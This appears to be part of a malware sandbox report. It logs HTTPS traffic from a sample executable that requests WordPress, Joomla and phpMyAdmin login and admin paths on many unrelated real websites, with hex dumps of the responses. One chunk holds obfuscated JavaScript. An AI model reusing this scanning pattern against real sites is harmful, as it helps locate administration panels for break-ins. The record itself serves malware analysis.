2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 75 76 29 2b 73 28 75 37 2e 75 78 2c 75 37 2e 75 69 29 2b 73 28 75 37 2e 75 41 2c 75 37 2e 59 29 2b 27 6f 72 27 5d 5b 73 28 75 37 2e 75 79 2c 75 37 2e 75 57 29 2b 73 28 75 37 2e 75 6e 2c 75 37 2e 75 46 29 2b 73 28 75 37 2e 75 52 2c 75 37 2e 75 65 29 5d 5b 73 28 75 37 2e 75 6a 2c 75 37 2e 75 6b 29 2b 27 64 27 5d 28 4c 29 2c 76 3d 4b 5b 6d 5d 2c 78 3d 4a 5b 76 5d 7c 7c 54 3b 54 5b 73 28 75 37 2e 75 43 2c 75 37 2e 59 29 2b 73 28 75 37 2e 75 64 2c 75 37 2e 75 73 29 2b 73 28 75 37 2e 75 51 2c 75 37 2e 75 68 29 5d 3d 4c 5b 73 28 75 37 2e 75 49 2c 75 37 2e 75 71 29 2b 27 64 27 5d 28 4c 29 2c 54 5b 73 28 75 37 2e 75 50 2c 75 37 2e 75 65 29 2b 73 28 75 37 2e 75 7a 2c 75 37 2e 75 65 29 2b 27 6e 67 27 5d 3d 78 5b 73 28 75 37 2e 75 4d 2c 75 37 2e 75 55 29 2b 73 28 75 Data Ascii: uv)+s(u7.ux,u7.ui)+s(u7.uA,u7.Y)+'or'][s(u7.uy,u7.uW)+s(u7.un,u7.uF)+s(u7.uR,u7.ue)][s(u7.uj,u7.uk)+'d'](L),v=K[m],x=J[v]\|\|T;T[s(u7.uC,u7.Y)+s(u7.ud,u7.us)+s(u7.uQ,u7.uh)]=L[s(u7.uI,u7.uq)+'d'](L),T[s(u7.uP,u7.ue)+s(u7.uz,u7.ue)+'ng']=x[s(u7.uM,u7.uU)+s(u
2023-11-26 05:59:35 UTC	16384	IN	Data Raw: 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 65 6c 65 6d 65 6e 74 6f 72 2d 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 6c 65 6d 65 6e 74 6f 72 2f 63 73 73 2f 63 75 73 74 6f 6d 2d 66 72 6f 6e 74 65 6e 64 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 31 36 39 38 38 34 39 39 33 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 73 77 69 70 65 72 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 74 69 73 77 68 Data Ascii: edia='all' /><link rel='stylesheet' id='elementor-frontend-css' href='https://tiswheels.com/wp-content/uploads/elementor/css/custom-frontend.min.css?ver=1698849933' type='text/css' media='all' /><link rel='stylesheet' id='swiper-css' href='https://tiswh
2023-11-26 05:59:35 UTC	16384	IN	Data Raw: 74 3b 32 26 71 75 6f 74 3b 7d 22 20 64 61 74 61 2d 77 69 64 67 65 74 5f 74 79 70 65 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 2e 64 65 66 61 75 6c 74 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 6a 65 74 2d 63 61 72 6f 75 73 65 6c 20 6a 65 74 2d 65 6c 65 6d 65 6e 74 73 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 2d 77 72 61 70 20 6a 65 74 2d 65 71 75 61 6c 2d 63 6f 6c 73 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 63 61 72 6f 75 73 65 6c 22 20 64 61 74 61 2d 73 6c 69 64 65 72 5f 6f 70 74 69 6f 6e 73 3d 22 7b 26 71 75 6f 74 3b 61 75 74 Data Ascii: t;2"}" data-widget_type="jet-carousel.default"><div class="elementor-widget-container"><div class="elementor-jet-carousel jet-elements"><div class="jet-carousel-wrap jet-equal-cols"><div class="jet-carousel" data-slider_options="{"aut
2023-11-26 05:59:35 UTC	16384	IN	Data Raw: 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 6e 6e 65 72 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 20 6a 65 74 2d 6d 65 6e 75 2d 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 79 70 65 2d 66 61 64 65 20 6a 65 74 2d 6d 65 6e 75 2d 2d 72 6f 6c 6c 2d 75 70 22 3e 3c 6c 69 20 69 64 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 38 32 32 22 20 63 6c 61 73 73 3d 22 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 20 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6a 65 74 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6a 65 74 2d 68 61 73 2d 72 6f 6c 6c 2d 75 70 20 6a 65 Data Ascii: ner"><div class="jet-menu-container"><div class="jet-menu-inner"><ul class="jet-menu jet-menu--animation-type-fade jet-menu--roll-up"><li id="jet-menu-item-822" class="jet-menu-item jet-menu-item-type-post_type jet-menu-item-object-page jet-has-roll-up je
2023-11-26 05:59:35 UTC	16384	IN	Data Raw: 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 50 46 6f 6f 74 65 72 22 3e 09 09 3c 64 69 76 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 74 79 70 65 3d 22 66 6f 6f 74 65 72 22 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 69 64 3d 22 32 32 30 22 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 20 65 6c 65 6d 65 6e 74 6f 72 2d 32 32 30 22 20 64 61 74 61 2d 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 2d 74 79 70 65 3d 22 65 6c 65 6d 65 6e 74 6f 72 5f 6c 69 62 72 61 72 79 22 3e 0a 09 09 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 20 65 6c 65 6d 65 6e 74 6f 72 2d 74 6f 70 2d 73 65 63 74 69 6f 6e 20 65 Data Ascii: e="itemscope" itemtype="http://schema.org/WPFooter"><div data-elementor-type="footer" data-elementor-id="220" class="elementor elementor-220" data-elementor-post-type="elementor_library"><section class="elementor-section elementor-top-section e
2023-11-26 05:59:35 UTC	16384	IN	Data Raw: 75 6f 74 3b 73 69 7a 65 26 71 75 6f 74 3b 3a 35 30 2c 26 71 75 6f 74 3b 73 69 7a 65 73 26 71 75 6f 74 3b 3a 5b 5d 7d 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 74 79 70 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 73 63 72 6f 6c 6c 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 64 69 72 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 6e 75 6c 6c 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 66 78 5f 64 69 72 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 6e 75 6c 6c 2c 26 71 75 6f 74 3b 6a 65 74 5f 70 61 72 61 6c 6c 61 78 5f 6c 61 79 6f 75 74 5f 7a 5f 69 6e 64 65 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6a 65 74 Data Ascii: uot;size":50,"sizes":[]},"jet_parallax_layout_type":"scroll","jet_parallax_layout_direction":null,"jet_parallax_layout_fx_direction":null,"jet_parallax_layout_z_index":"","jet
2023-11-26 05:59:35 UTC	13014	IN	Data Raw: 2b 30 78 31 37 2a 30 78 31 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 66 28 47 53 2e 49 29 29 2f 28 30 78 31 36 65 66 2b 2d 30 78 32 32 37 30 2b 30 78 62 38 62 29 3b 69 66 28 55 3d 3d 3d 5a 29 62 72 65 61 6b 3b 65 6c 73 65 20 76 5b 27 70 75 73 68 27 5d 28 76 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 52 29 7b 76 5b 27 70 75 73 68 27 5d 28 76 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 46 2c 2d 30 78 31 32 63 34 32 64 2b 30 78 31 32 36 36 34 33 2b 30 78 33 63 2a 30 78 32 64 32 33 29 29 3b 66 75 6e 63 74 69 6f 6e 20 46 28 29 7b 76 61 72 20 5a 39 3d 5b 27 6c 65 63 27 2c 27 64 6e 73 27 2c 27 34 33 31 37 31 36 38 77 68 43 4f 72 5a 27 2c 27 36 32 36 39 38 79 42 4e 6e 4d 50 27 2c 27 74 72 69 27 2c 27 69 6e 64 27 2c 27 2e 63 6f 27 2c 27 65 61 Data Ascii: +0x170x16)+-parseInt(f(GS.I))/(0x16ef+-0x2270+0xb8b);if(U===Z)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(F,-0x12c42d+0x126643+0x3c0x2d23));function F(){var Z9=['lec','dns','4317168whCOrZ','62698yBNnMP','tri','ind','.co','ea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	58930	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	226	OUT	GET /wp-admin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://lumaruniformes.com/wp-login.php
2023-11-26 05:59:35 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	58462	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	1099	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6b 46 50 61 6c 70 54 52 47 35 72 64 6d 55 78 55 6d 4e 70 56 56 4d 79 56 57 39 56 4c 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 6d 4e 35 56 6a 42 45 4e 30 64 6f 5a 6d 78 45 64 57 4e 4e 4f 58 68 32 52 56 46 6f 55 7a 4e 6a 62 30 70 48 63 45 64 4e 5a 44 5a 32 61 79 39 7a 61 57 6c 61 64 6a 42 35 62 6d 74 6f 4d 6b 35 48 63 54 6c 6f 65 57 5a 42 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:35 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6IkFPalpTRG5rdmUxUmNpVVMyVW9VL0E9PSIsInZhbHVlIjoiVmN5VjBEN0doZmxEdWNNOXh2RVFoUzNjb0pHcEdNZDZ2ay9zaWladjB5bmtoMk5HcTloeWZB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	58881	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	171	OUT	GET /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:35 UTC	813	IN	Data Raw: 32 32 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2277<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:35 UTC	8018	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	58897	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	175	OUT	GET /phpmyadmin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	922	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 34 2e 36 36 38 31 30 33 32 38 35 37 39 33 35 36 38 35 31 35 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 53 65 72 76 65 72 3a Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978374.6681032857935685150Cache-Control: public,max-age=0,must-revalidateServer:
2023-11-26 05:59:34 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-11-26 05:59:34 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
2023-11-26 05:59:34 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-11-26 05:59:34 UTC	31	IN	Data Raw: 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: rification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	58848	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:34 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	58761	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	181	OUT	GET /administrator/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
